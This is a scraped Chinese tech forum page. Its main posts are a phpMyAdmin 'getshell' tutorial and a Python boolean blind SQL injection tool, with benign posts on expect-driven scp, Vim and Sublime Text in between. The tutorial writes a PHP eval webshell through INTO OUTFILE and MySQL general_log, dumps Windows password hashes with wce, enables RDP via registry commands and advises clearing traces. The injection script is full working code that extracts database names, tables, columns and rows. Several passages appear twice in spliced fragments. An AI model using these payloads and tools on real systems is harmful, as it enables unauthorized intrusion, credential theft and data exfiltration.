尝试直接抓明文,没有结果,那只能抓hash值了。


拿到hash值后就可以用hashcat或者直接跑彩虹表来获取密码。在线也有ophcrack可以破解。
3389连接
查看一下端口,发现3389没开

开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f


然后连接,输入刚刚抓到的账号密码即可。
小结
其实这样一套操作下来动静是很大的,要注意清除痕迹,另外在Windows7这类非服务器的系统上远程登录的话会挤掉当前用户,用户掉线马上就知道出事了,当然也可以使用工具让其支持多用户登录,具体就不详细说明了。0x04 php爆绝对路径方法
插入一句话木马时是需要知道网站绝对路径的,这里总结一下爆路径的方法。单引号爆路径
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=1′错误参数值爆路径
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1Google爆路径
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。[code]Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”[/code]测试文件爆路径
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。[code]www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php[/code]phpmyadmin爆路径
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。[code]/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php[/code]配置文件找路径
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。[code]Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件


Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件[/code]nginx文件类型错误解析爆路径
说明:
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,有可能爆出物理路径
www.xxx.com/xx.jpg/x.php0x05 思考
此次是在Windows系统下的实验,如果是Linux是否同样可以利用日志写shell?
于是找了个linux服务器测试

可以发现,我们没有权限在网站目录下创建日志文件。因为此台服务器上MYSQL并没有被赋予在站点根目录下创建文件的权限。所以也无法写shell并解析。
因此,只要做好权限把控,就可以避免此类安全问题 查看全部
phpmyadmin getshell姿势
phpmyadmin常被用来管理mysql数据库。在ctf比赛和实战中都可能会遇到phpmyadmin弱口令或者空密码的情况,这个时候就需要从phpmyadmin来getshell了,这里总结一下getshell的姿势。0x00 前言
此次是在虚拟机中用wampserver搭了一个实验环境,然后在本机上执行操作。
[list=disc]
[*]靶机:Windows7 x64 IP 192.168.129.129[/*]
[*]攻击机: Windows10 x64[/*]
[*]PHP版本:5.6[/*]
[*]Mysql版本:5.7[/*]
[*]Apache版本:2.4

mysql密码为弱密码root,已爆破得到密码。[/*]
[/list]
0x01 常用方法
最常见的应该就是
select into outfile
写入shell了,需要知道网站的绝对路径,而且比较容易失败。
select @@basedir
可以看到mysql所在的绝对路径,此外还有一些爆路径的方法会在下面总结到。

爆出网站绝对路径后你可以开始写入shell。
[code]select load_file('C:/wamp64/www/ma.php')
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/wamp64/www/ma.php';
[/code]
当你尝试执行
select into outfile
时会爆出如图的错误:

执行以下命令:
SHOW VARIABLES LIKE "secure_file_priv";


如果值为文件夹目录,则只允许修改目录下的文件,如果值为
NULL
则为禁止。
并且这个值是只读变量,只能通过配置文件修改。0x02 利用日志写shell
mysql5.0版本以上会创建日志文件,可以通过修改日志的全局变量getshell。检测全局变量(general_log、general_log file)
  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。
    [code]SHOW VARIABLES LIKE 'general%'
    [/code]

由图可知
general_log
默认关闭,以及日志的存储路径 。
开启general_log 的作用:开启它可以记录用户输入的每条命令,会把其保存在
c:\wamp64\bin\mysql\mysql5.7.14\data\
的一个.log文件中,其实就是我们常说的日志文件
利用思路:开启
general_log
之后把
general_log_file
的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用。
[code]set global general_log = "ON";
set global general_log_file='C:/wamp64/www/ma.php';
[/code]

执行后可以看到生成的伪日志文件ma.php
此时在利用日志的记录插入一句话
select '<?php eval($_POST[cmd]);?>';

打开日志可以看到记录

然后尝试用菜刀连接即可getshell
0x03 获取管理员密码
既然都做到这里了就顺便简单复习一下Windows,继续做下去。
在服务器上如果是管理员启动的mysql服务那么getshell直接就是管理员权限,如果是其他用户则需要提权。
wce,pwdump,mimikatz等工具都能抓取密码,我这里选择上传wce进行密码抓取。wce抓取
尝试直接抓明文,没有结果,那只能抓hash值了。


拿到hash值后就可以用hashcat或者直接跑彩虹表来获取密码。在线也有ophcrack可以破解。
3389连接
查看一下端口,发现3389没开

开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f


然后连接,输入刚刚抓到的账号密码即可。
小结
其实这样一套操作下来动静是很大的,要注意清除痕迹,另外在Windows7这类非服务器的系统上远程登录的话会挤掉当前用户,用户掉线马上就知道出事了,当然也可以使用工具让其支持多用户登录,具体就不详细说明了。0x04 php爆绝对路径方法
插入一句话木马时是需要知道网站绝对路径的,这里总结一下爆路径的方法。单引号爆路径
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=1′
错误参数值爆路径
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
Google爆路径
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
[code]Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
[/code]测试文件爆路径
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
[code]www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
[/code]phpmyadmin爆路径
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。
[code]/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
[/code]配置文件找路径
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
[code]Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件


Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
[/code]nginx文件类型错误解析爆路径
说明:
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,有可能爆出物理路径
www.xxx.com/xx.jpg/x.php
0x05 思考
此次是在Windows系统下的实验,如果是Linux是否同样可以利用日志写shell?
于是找了个linux服务器测试

可以发现,我们没有权限在网站目录下创建日志文件。因为此台服务器上MYSQL并没有被赋予在站点根目录下创建文件的权限。所以也无法写shell并解析。
因此,只要做好权限把控,就可以避免此类安全问题

什么是CRLF

回复

PHPttgo2 发起了问题 • 1 人关注 • 0 个回复 • 273 次浏览 • 2018-10-21 09:31 • 来自相关话题

Shell 脚本实现scp 自动化交互

SHELL脚本ttgo2 发表了文章 • 0 个评论 • 273 次浏览 • 2018-08-06 18:30 • 来自相关话题

Linux  shell 命令scp 可以实现远程拷贝文件,但是需要人工进行交互,无法使用shell 脚本进行自动化的方式来实现,如果能自动化实现呢? 今天我们来解决这个问题。
 
1、 expect是一个自动交互功能的工具。expect是开了一个子进程,通过spawn来执行shell脚本,监测到脚本的返回结果,通过expect判断要进行的交互输入内容(send),以chat的方式解决了交互的问题。
 





2、默认情况下centos 没有安装,可以通过yum 来进行安装,具体命令为:yum install expect  截图如下:






3、 验证一下是否安装expect成功,截图如下






4、举例来说明expect的格式命令和具体的方法
 
step1: 创建一个后缀名为.exp的文件,scp.exp ,具体代码如下
 #!/usr/bin/expect -f
set timeout 10

set host [lindex $argv 0]
set username [lindex $argv 1]
set password [lindex $argv 2]
set src_file [lindex $argv 3]
set dest_file [lindex $argv 4]

#这里的 set 使用来定义位置变量的,执行脚本的时候传入位置变量spawn scp -r $src_file $username@$host:/tmp/$dest_file
expect {
"(yes/no)?" {
send "yes\n"
expect "*assword:" { send "$password\n" }
}
"*assword:" {
send "$password\n"
}
}


expect "100%"
expect eof:


5 执行过程,
 
step1: 脚本的赋值执行权限,chmod +x scp.exp
 
step2: ./scp.exp 192.168.3.129 root 123456 1.txt 1.txt
 





 
  查看全部
Linux  shell 命令scp 可以实现远程拷贝文件,但是需要人工进行交互,无法使用shell 脚本进行自动化的方式来实现,如果能自动化实现呢? 今天我们来解决这个问题。
 
1、 expect是一个自动交互功能的工具。expect是开了一个子进程,通过spawn来执行shell脚本,监测到脚本的返回结果,通过expect判断要进行的交互输入内容(send),以chat的方式解决了交互的问题。
 
C1CC1CF7-B617-45dd-BDB2-A55EEB216A35.png


2、默认情况下centos 没有安装,可以通过yum 来进行安装,具体命令为:yum install expect  截图如下:

QQ截图20180808163745.png


3、 验证一下是否安装expect成功,截图如下

QQ截图20180808164710.png


4、举例来说明expect的格式命令和具体的方法
 
step1: 创建一个后缀名为.exp的文件,scp.exp ,具体代码如下
 
#!/usr/bin/expect -f
set timeout 10

set host [lindex $argv 0]
set username [lindex $argv 1]
set password [lindex $argv 2]
set src_file [lindex $argv 3]
set dest_file [lindex $argv 4]

#这里的 set 使用来定义位置变量的,执行脚本的时候传入位置变量
spawn scp -r $src_file $username@$host:/tmp/$dest_file
expect {
"(yes/no)?" {
send "yes\n"
expect "*assword:" { send "$password\n" }
}
"*assword:" {
send "$password\n"
}
}


expect "100%"
expect eof:


5 执行过程,
 
step1: 脚本的赋值执行权限,chmod +x scp.exp
 
step2: ./scp.exp 192.168.3.129 root 123456 1.txt 1.txt
 

QQ截图20180808170100.png

 
 

Mac下Vim配置语法高亮

kakaxi 发表了文章 • 0 个评论 • 185 次浏览 • 2018-08-03 17:08 • 来自相关话题

设置终端的字体颜色
  如图,打开终端然后,选择偏好设置,再选择描述文件,再窗口左侧可以选择系统配置好的,或者你也可以自定义,最后别忘了把你的配置设置成默认就行
Vim语法高亮设置






  只需要找到vimrc配置文件就行,在终端输入下面的指令,就可以打开配置文件cp /usr/share/vim/vimrc ~/.vimrc
~/.vimrc  网上有好多人找不到vim的配置文件,你可以用command+shift+G前往文件夹,或者是最简单最笨的方法是你直接回去到根目录,然后再一层一层的cd,然后再一个个找;系统根目录指令,查看文件指令cd /
ls







  红色框中就是我添加的配置,语法高亮、行号、自动缩进,如果你需要更多的配置,直接百度就行,这个网上就很多了,最后看下效果






  查看全部
设置终端的字体颜色
  如图,打开终端然后,选择偏好设置,再选择描述文件,再窗口左侧可以选择系统配置好的,或者你也可以自定义,最后别忘了把你的配置设置成默认就行
Vim语法高亮设置

index.png


  只需要找到vimrc配置文件就行,在终端输入下面的指令,就可以打开配置文件
cp /usr/share/vim/vimrc ~/.vimrc
~/.vimrc
  网上有好多人找不到vim的配置文件,你可以用command+shift+G前往文件夹,或者是最简单最笨的方法是你直接回去到根目录,然后再一层一层的cd,然后再一个个找;系统根目录指令,查看文件指令
cd /
ls


2.png


  红色框中就是我添加的配置,语法高亮、行号、自动缩进,如果你需要更多的配置,直接百度就行,这个网上就很多了,最后看下效果

3.png


 

Sublime Text3 解决INPUT 交互的问题

ttgo2 发表了文章 • 0 个评论 • 273 次浏览 • 2018-07-23 18:26 • 来自相关话题

在使用Sublime text3 时候,如果使用INPUT函数进行交互,则会出现无法进行,因此必须通过sublime text3 的插件进行解决这个问题,解决问题步骤如下;
 
Step1、Ctrl + shift + P ,在弹出的输入框中输入install package control;


step2、Ctrl + shift +p, 输入/选择 Package Control: Install Package,然后在新的输入框中输入SublimeREPL,回车, 安装成功后会出现说明文件

3、依次点击Preferences—Key Buildings,输入以下内容,然后保存,设置按键F5(可以随意修改)为运行程序快捷键
 
[
    { "keys": ["f5"], "caption": "SublimeREPL:Python", 
                      "command": "run_existing_window_command", "args":
                      {
                           "id": "repl_python_run",
                           "file": "config/Python/Main.sublime-menu"
                      } 
    },
]
 





  查看全部
在使用Sublime text3 时候,如果使用INPUT函数进行交互,则会出现无法进行,因此必须通过sublime text3 的插件进行解决这个问题,解决问题步骤如下;
 
Step1、Ctrl + shift + P ,在弹出的输入框中输入install package control;


step2、Ctrl + shift +p, 输入/选择 Package Control: Install Package,然后在新的输入框中输入SublimeREPL,回车, 安装成功后会出现说明文件

3、依次点击Preferences—Key Buildings,输入以下内容,然后保存,设置按键F5(可以随意修改)为运行程序快捷键
 
[
    { "keys": ["f5"], "caption": "SublimeREPL:Python", 
                      "command": "run_existing_window_command", "args":
                      {
                           "id": "repl_python_run",
                           "file": "config/Python/Main.sublime-menu"
                      } 
    },
]
 

QQ截图20180723182626.png

 

python布尔盲注脚本算法完善

lawliet 发表了文章 • 3 个评论 • 259 次浏览 • 2018-06-06 21:49 • 来自相关话题

完善一下之前写的python盲注工具,之前那个盲注工具在猜取字符的时候使用的二分法,通过查找0-126这个范围去采取数据库中的数据。但是当时遗留了一个问题,就是在逐个猜解数据库字符时使用二分法并没有什么问题,这时因为字符都在0-126这个固定范围内,但是在猜取数据库个数、指定数据库的表个数、字段个数或者表中记录条数时,又或者是数据库名的长度、表名长度、字段名的长度时是没有一个固定的范围的,举个例子,比如在猜取表中记录个数时,记录的个数是不能确定范围的,也就是不能确定二分法的最大值,当时采用了循环自加的方式去判断,速度自然是慢了许多。今天抽时间读了一下sqlmap的payload,通过payload发现sqlmap也考虑到了这种情况,并且处理方法还是不错的。对于这种情况还是可以通过二分法判断的,将自己的方法记录一下~
分析sqlmap判断时的payload

首先看一下sqlmap在判断数据库个数时的payload[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>54 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>52 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>53 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>48 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>9 AND 'rTJT'='rTJT
[12:09:16] [INFO] retrieved: 5通过分析payload可以看出sqlmap将count查到的数据库个数使用cast转换为了字符型,然后指定二分法的范围为字符'0'-'9',其ascii码转换为十进制也就是48-57,这个区域中间值为52,而看上面sqlmap在判断数据库个数时的第一个payload比较的值是51,所以可以确定sqlmap指定的二分法的大致范围确实是48-57(‘0’-‘9’)

通过对sqlmap的payload的分析,我想到了一种解决之前那个问题的办法,由于查询个数、长度、记录数的结果一定为数字,那么不管这个数字有多大,只要转换为字符串后,它的每一位一定是在'0'-'9'这个范围内,也就是十进制的48-57,所以只需要把数字转换成字符串,然后去使用二分法,指定二分法的范围为48-57,之后通过二分法可以判断出数字字符串每一位的字符,直到不能判断为止,最终就能得到这个数字
自增查找和二分查找算法对比

和之前的自增查找做一个对比,首先以猜解数据库个数为例,我的数据库个数为5个

在不确定二分法范围时采用的自增算法代码import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select count(schema_name) from information_schema.schemata)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1




自增算法发送了5次payload判断出了数据库个数为5
再看一下刚刚说的二分查找算法代码import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s




在这里二分算法发送了6次payload才判断出来了数据库的个数为5,可以看出当数字比较小的时候,上面的二分法的优势并没有体现出来那么再举一个例子,比如用盲注判断information_schema这个数据库名的长度,长度为18,相比之前的5大了一些,为2位数,再次对比一下两个算法

在不确定二分法范围时采用的自增算法代码import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select length(schema_name) from information_schema.schemata limit 0,1)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1




发送了18次payload才判断出information_schema数据库名的长度为18再看一下刚刚说的二分查找算法代码import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit 0,1),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s




可以看到随着数字的增加,二分法的优势体现出来了,只发送了9次payload就判断出了information_schema数据库名的长度为18盲注脚本加强版

修改过后的盲注脚本,注入速度相比之前的那个明显有所提高#coding=utf-8
import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(url,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getdbs(url,basehtml,num):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit %d,1),%d,1))>%d-- "%(url,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
#print "len:%s"%(length)
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def gettablenum(url,basehtml,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def gettables(url,basehtml,num,dbname):
print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,dbname.encode("hex"),n,i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getcolumnnum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getcolumns(url,basehtml,num,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getdatanum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM %s.%s),%d,1))>%d-- "%(url,dbname,tablename,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(%s) AS CHAR),0x20) FROM %s.%s limit %d,1),%d,1))>%d-- "%(url,columnname,dbname,tablename,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
#print "this url maybe injectable,type numeric"
return url
elif basehtml!=html1 and basehtml==html2:
#print "this url maybe injectable,type string(\")"
return url1
elif basehtml==html1 and basehtml!=html2:
#print "this url maybe injectable,type string(\")"
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:#--dbs
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:#-u url --tables -D database
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump -C column -T table -D database
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
#print "Please look this script help information,to use --help or -h"
parser.print_help()
if __name__=='__main__':
main()

  查看全部
完善一下之前写的python盲注工具,之前那个盲注工具在猜取字符的时候使用的二分法,通过查找0-126这个范围去采取数据库中的数据。但是当时遗留了一个问题,就是在逐个猜解数据库字符时使用二分法并没有什么问题,这时因为字符都在0-126这个固定范围内,但是在猜取数据库个数、指定数据库的表个数、字段个数或者表中记录条数时,又或者是数据库名的长度、表名长度、字段名的长度时是没有一个固定的范围的,举个例子,比如在猜取表中记录个数时,记录的个数是不能确定范围的,也就是不能确定二分法的最大值,当时采用了循环自加的方式去判断,速度自然是慢了许多。今天抽时间读了一下sqlmap的payload,通过payload发现sqlmap也考虑到了这种情况,并且处理方法还是不错的。对于这种情况还是可以通过二分法判断的,将自己的方法记录一下~
分析sqlmap判断时的payload

首先看一下sqlmap在判断数据库个数时的payload
